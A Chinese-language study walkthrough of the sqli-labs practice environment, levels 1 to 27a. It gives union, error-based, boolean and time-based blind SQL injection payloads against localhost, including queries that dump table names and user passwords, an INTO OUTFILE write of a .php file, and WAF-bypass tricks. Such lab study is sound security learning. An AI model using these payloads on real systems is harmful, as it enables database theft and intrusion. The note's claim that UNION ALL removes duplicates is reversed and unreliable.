边学边记,Sqli-labs
Sqli-labs
less-1 GET - Error based - Single quotes - String
(基于错误的GET单引号字符型注入)
查询(union)
当函数mysql_fetch_array只被调用了一次时,且想显示非第一行查询的数据库数据时,可以让第一行的查询结果为空,那么,非第一行(union右边)的查询结果自然就成了第一行。
union的作用是将两个sql语句进行联合。union前后的两个sql语句的选择列数要相同才可以(用order by查询行数) 。Union all与union 的区别是增加了去重的功能
数据库连接函数
concat和concat_ws
其中concat_ws的第一个参数是连接字符串的分隔符,还会用到group__concat(可以把查询出来的多行连接起来)
常用:concat_ws(char(32,58,32),user(),database(),version())
查表
查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了
limit
查表时也只能返回一个table,所以要用limit来控制结果集具体是哪一行
solution
Payload:http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,2,3 --+
爆库:http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆表:http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆列:http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆数据:http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,username,password from users where id =3--+
less-2 GET - Error based - Intiger based
(基于错误的GET整型注入)
跟less1一样,只是不用闭合‘
solution
Payload:http://localhost/sqli-labs/Less-2/index.php/?id=1 --+
or
http://localhost/sqli-labs/Less-2/index.php/?id=1 or 1=1
http://localhost/sqli-labs/Less-2/index.php/?id=1 or 1=1--+
less-3 GET - Error based - Single quotes with twist string
(基于错误的GET单引号变形字符型注入)
多了 ‘) 那么sql语句里的id 应该就是 ('$id') 这样!
solution
Payload:http://localhost/sqli-labs/Less-3/index.php/?id=1′) --+
or
http://localhost/sqli-labs/Less-3/index.php/?id=1') or '1'=('1'
http://localhost/sqli-labs/Less-3/index.php/?id=1′) --+
less-4 GET - Error based - Double Quotes - String
(基于错误的GET双引号字符型注入)
php中双引号可以包含单引号,所以判断是否存在注入时,还需要用 “ 来判断
solution
Payload:http://localhost/sqli-labs/Less-4/index.php/?id=1") --+
or
http://localhost/sqli-labs/Less-4/index.php/?id=1") or "1"=("1
less-5 GET - Double Injection - Single Quotes - String
(双注入GET单引号字符型注入)
报错注入
count(*)
http://localhost/sqli-labs/Less-5/index.php/
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
exp
数据类型超出范围进行报错注入
bigint
bigint溢出进行报错注入
xpath
xpath函数报错注入
http://localhost/sqli-labs/Less-5/index.php/
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
利用数据的重复性
http://localhost/sqli-labs/Less-5/index.php/
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
solution
payload:
布尔注入:
报错注入:
http://localhost/sqli/Less-5/?id=1' and (select 1 from(select count(),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand() 2))name from information_schema.tables group by name)b) --+
延时注入:
http://localhost/sqli-labs/Less-5/index.php/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
http://localhost/sqli-labs/Less-5/index.php/
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
less-6 GET - Double Injection - Double Quotes - String
(双注入GET双引号字符型注入)
payload跟less-5异曲同工,只是把 ‘ 改成 “
less-7 GET - Dump into outfile - String
(导出文件GET字符型注入)
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
outfile函数将数据库中的内容写到一个文件中
dumpfile只能使用一行
load_file函数用来从文件系统中将文件导入到mysql中
虽然有相应数据库权限,也对路径进行了转义,但是还是没有成功导出文件,尝试导出在tmp文件夹,发现也不行。先放着吧!
http://localhost/sqli-labs/Less-7/index.php/?id=1')) union select 1,2,3 into outfile "C:\phpStudy\tmp\1.php" %23
less-8 GET - Blind - Boolian Based - Single Quotes
(布尔型单引号GET盲注)
这一关把mysql报错的语句注释了,所以就不能用报错注入了。
布尔盲注
left()
left()得到字符串左部指定个数的字符
left ( string, n ) string为要截取的字符串,n为长度。
正确时返回 “You are in 。。。。“ 否则则无回显。
length()
测试数据库长度
substr()与ascii()并用
substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
获取security数据库的第一个表(limit 0,1)的字符
获取该数据库的第二个表 limit 1,1
regexp
利用regexp获取(2)中users表中的列
I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
II select * from users where id=1 and 1=(user() regexp'^ri');
通过if语句的条件判断,返回一些条件句,比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。
III select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
ord() 和 mid(column_name,start[,length])
利用 ord()(此函数为返回第一个字符的ASCII码) 和 mid() 函数获取users表的内容
例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’
less-9 GET - Blind - Time based. - Single Quotes
(基于时间的GET单引号盲注)
延时注入
sleep()
利用sleep()函数进行注入
http://localhost/sqli-labs/Less-9/index.php/
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
BENCHMARK()
利用BENCHMARK()进行延时注入
当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000次,会占用一段时间。
solution
payload:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
less-10 GET - Blind - Time based - double quotes
(基于时间的双引号盲注)
与less-9一样,只是从 ’ 变成 “
less-11 POST - Error Based - single quotes - String
在GET型里面用到的大部分方法都可以使用
less-12 POST - Error Based - Double quotes - String - with twist
’ 变 ”
less-13 POST Double injection - Single quotes - String - with twist
从错误回显中知道对id进行了 ')处理,所以用布尔盲注来判断是否成功login
solution
payload:
猜版本号
uname=admin')and left(@@version,1)=5%23 &passwd=2222&submit=Submit
less-14 POST - Double injection - Single quotes - String - with twist
有报错,可以用报错注入
solution
payload
less-15 POST - Blind - Boolian/time Based - Single quotes
没有错误回显,可以用布尔盲注和延时注入
solution
payload
less-16 POST - Blind - Boolian/Time Based - Double quotes
单引号变双引号
less-17 POST - Update Query - Error Based - String
这题只能从password处注入,因为username处的特殊字符都用 check_input()函数 经过了特殊转义
less-18 POST - Header injection - Uagent field - Error based
这一题把password处也跟username一样处理了,所以那两处都无法注入了。看代码得知这里的注入是INSERT类型的,INSERT注入可以利用报错注入的方式获取数据。
less-19 POST - Header injection Referer field - Error based
跟上一题一样,只是在referer中注入
less-20 POST - Cookie injection - Uagent field - error based
username获取 -> cookie -> username读取 -> 查询
less-21 POST Dump into outfile - String
跟上一题一样,只是cookie要base64编码一下
less-22 Future Editions
把‘变成"
绕过姿势
基于page-2 都是一些绕waf的题,所以顺便将绕waf的新姿势mark下来。
过滤 or 和 and
大小写变形 Or,OR,oR
编码,hex,urlencode
添加注释/or/
利用符号 and=&& or=||
过滤 空格,or,and,/*,#,--,/等各种符号
过滤 空格,or,and,/*,#,--,/等各种符号
对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
less-23
过滤了# 和--
用'闭合后面的'即可
less-24
二次排序注入
注册一个admin'#帐号,然后登录,修改密码。发现修改的是admin的密码!
less-25
过滤 or 和 and
Less-25a
不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。
less-26
过滤 空格,or,and,/*,#,--,/等各种符号
less-26a
这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
less-27
增加过滤 union,select
less-27a
本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示。